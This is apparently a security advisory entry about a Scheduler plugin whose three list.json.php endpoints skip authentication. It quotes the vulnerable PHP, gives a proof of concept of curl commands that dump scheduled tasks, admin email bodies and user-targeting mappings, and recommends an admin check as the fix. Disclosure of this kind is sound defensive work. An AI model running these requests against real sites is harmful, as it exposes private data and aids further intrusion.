+ "details": "## Summary\n\nThree `list.json.php` endpoints in the Scheduler plugin lack any authentication check, while every other endpoint in the same plugin directories (`add.json.php`, `delete.json.php`, `index.php`) requires `User::isAdmin()`. An unauthenticated attacker can retrieve all scheduled tasks (including internal callback URLs and parameters), admin-composed email messages, and user-to-email targeting mappings by sending simple GET requests.\n\n## Details\n\nThe vulnerable files are:\n\n**1. `plugin/Scheduler/View/Scheduler_commands/list.json.php:1-7`**\n```php\n<?php\nrequire_once '../../../../videos/configuration.php';\nrequire_once $global['systemRootPath'] . 'plugin/Scheduler/Objects/Scheduler_commands.php';\nheader('Content-Type: application/json');\n\n$rows = Scheduler_commands::getAll();\n?>\n{\"data\": <?php echo json_encode($rows); ?>}\n```\n\n**2. `plugin/Scheduler/View/Emails_messages/list.json.php:1-10`**\n```php\n<?php\nrequire_once '../../../../videos/configuration.php';\nrequire_once $global['systemRootPath'] . 'plugin/Scheduler/Objects/Emails_messages.php';\nheader('Content-Type: application/json');\n\n$rows = Emails_messages::getAll();\n$total = Emails_messages::getTotal();\n?>\n{\"data\": <?php echo json_encode($rows); ?>, ...}\n```\n\n**3. `plugin/Scheduler/View/Email_to_user/list.json.php:1-10`**\n```php\n<?php\nrequire_once '../../../../videos/configuration.php';\nrequire_once $global['systemRootPath'] . 'plugin/Scheduler/Objects/Email_to_user.php';\nheader('Content-Type: application/json');\n\n$rows = Email_to_user::getAll();\n$total = Email_to_user::getTotal();\n?>\n{\"data\": <?php echo json_encode($rows); ?>, ...}\n```\n\nNone of these files check authentication before calling `getAll()`, which executes `SELECT * FROM {table}` and returns the entire table contents.\n\nIn contrast, every sibling endpoint requires admin access. For example, `plugin/Scheduler/View/Scheduler_commands/add.json.php:12-15`:\n```php\nif(!User::isAdmin()){\n $obj->msg = \"You cant do this\";\n die(json_encode($obj));\n}\n```\n\nThe `Scheduler_commands` table (defined in `plugin/Scheduler/Objects/Scheduler_commands.php`) stores fields including `callbackURL` (internal server URLs with query parameters), `parameters` (JSON blobs containing user IDs and email configuration), `status`, `timezone`, and cron scheduling fields. The `Emails_messages` table stores `subject` and `message` (full HTML email bodies composed by admins). The `Email_to_user` table maps `users_id` to `emails_messages_id`, revealing which users are targeted by which email campaigns.\n\n## PoC\n\n```bash\n# 1. Retrieve all scheduled tasks — exposes internal callbackURLs and parameters\ncurl -s 'https://target/plugin/Scheduler/View/Scheduler_commands/list.json.php' | jq '.data[] | {id, callbackURL, parameters, status, type}'\n\n# 2. Retrieve all admin-composed email messages — exposes subject and HTML body\ncurl -s 'https://target/plugin/Scheduler/View/Emails_messages/list.json.php' | jq '.data[] | {id, subject, message}'\n\n# 3. Retrieve user-to-email targeting mappings — reveals which users receive which emails\ncurl -s 'https://target/plugin/Scheduler/View/Email_to_user/list.json.php' | jq '.data[] | {users_id, emails_messages_id, sent_at}'\n```\n\nAll three return full database contents with no authentication required. No session cookie or token is needed.\n\n## Impact\n\nAn unauthenticated attacker can:\n\n- **Enumerate internal infrastructure**: `callbackURL` fields expose internal server URLs and query parameters used by the scheduler, potentially revealing internal API endpoints and their parameter structures\n- **Read admin email campaigns**: Full email subjects and HTML message bodies composed by administrators are exposed\n- **Map user targeting**: The `Email_to_user` table reveals which `users_id` values are targeted by which email campaigns, enabling user enumeration and profiling\n- **Gather reconnaissance**: Scheduling configuration (cron fields, execution status, timezone) reveals operational patterns and timing of automated tasks\n\nThe information disclosed could be used to facilitate further attacks (e.g., using discovered internal URLs for SSRF, or user IDs for targeted account attacks).\n\n## Recommended Fix\n\nAdd `User::isAdmin()` checks to all three `list.json.php` files, matching the pattern used by sibling endpoints. For each file, add the following after the `require_once` lines and before the data retrieval:\n\n**`plugin/Scheduler/View/Scheduler_commands/list.json.php`:**\n```php\n<?php\nrequire_once '../../../../videos/configuration.php';\nrequire_once $global['systemRootPath'] . 'plugin/Scheduler/Objects/Scheduler_commands.php';\nheader('Content-Type: application/json');\n\nif(!User::isAdmin()){\n die(json_encode(['error' => true, 'msg' => 'Not authorized']));\n}\n\n$rows = Scheduler_commands::getAll();\n?>\n{\"data\": <?php echo json_encode($rows); ?>}\n```\n\nApply the same pattern to `Emails_messages/list.json.php` and `Email_to_user/list.json.php`.",
![advisory-database[bot]](https://avatars.githubusercontent.com/in/21409?v=4&size=40){kind=avatar}
0 commit comments